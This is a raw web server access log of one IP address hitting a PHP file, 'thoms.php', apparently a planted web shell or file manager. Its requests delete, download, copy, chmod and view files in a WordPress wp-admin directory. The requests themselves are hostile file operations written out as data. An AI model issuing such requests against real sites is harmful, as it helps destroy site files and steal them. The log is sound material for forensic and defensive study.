45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?del=link-add.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28643 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /bft.com.tw/wp-admin/moderation.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /bft.com.tw/wp-admin/options-reading.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?dl=error_log&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fpress-this.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fpress-this.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?chmod=options-writing.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?dl=profile.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28631 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 200 18942 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 200 16025 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?chmod=install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 200 11998 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?del=media.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?del=media.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 200 12019 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?chmod=maint&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=maint&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 200 16911 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /bft.com.tw/wp-admin/ms-sites.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?chmod=index.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?chmod=revision.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:21 -0400] "GET /thoms.php?dl=install-helper.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Ffont-library.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Ffont-library.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?del=site-health.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 200 16094 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?del=install-helper.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /bft.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?dl=admin-footer.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?chmod=load-styles.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?del=font-library.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /bft.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:22 -0400] "GET /thoms.php?del=link-parse-opml.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmoderation.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmoderation.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?del=admin-functions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?dl=export.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?dl=export.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?dl=ms-admin.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28625 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 200 14115 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?del=options-privacy.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28625 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 200 13866 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?dl=themes.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28618 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?del=moderation.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28577 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?chmod=ms-edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fusers.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fusers.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:23 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28619 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?dl=network.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28579 "http://163.245.207.76:443/thoms.php?dl=network.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?dl=site-health.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28624 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fuser-edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11416 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fuser-edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /bft.com.tw/wp-admin/ms-admin.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /bft.com.tw/wp-admin/options-connectors.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcustomize.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcustomize.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /bft.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fthemes.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fthemes.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?chmod=user&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=user&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /bft.com.tw/wp-admin/authorize-application.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?del=admin-footer.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28601 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:24 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fsetup-config.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fsetup-config.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /bft.com.tw/wp-admin/network.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-comments.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-comments.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?dl=admin-post.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28642 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 200 14887 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?del=nav-menus.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28611 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fpost-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fpost-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?chmod=edit-comments.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 200 13899 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?del=term.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28611 "http://163.245.207.76:443/thoms.php?del=term.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?dl=theme-install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28623 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?del=widgets-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28622 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:25 -0400] "GET /thoms.php?del=admin-ajax.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28621 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 200 12043 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?chmod=options-general.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
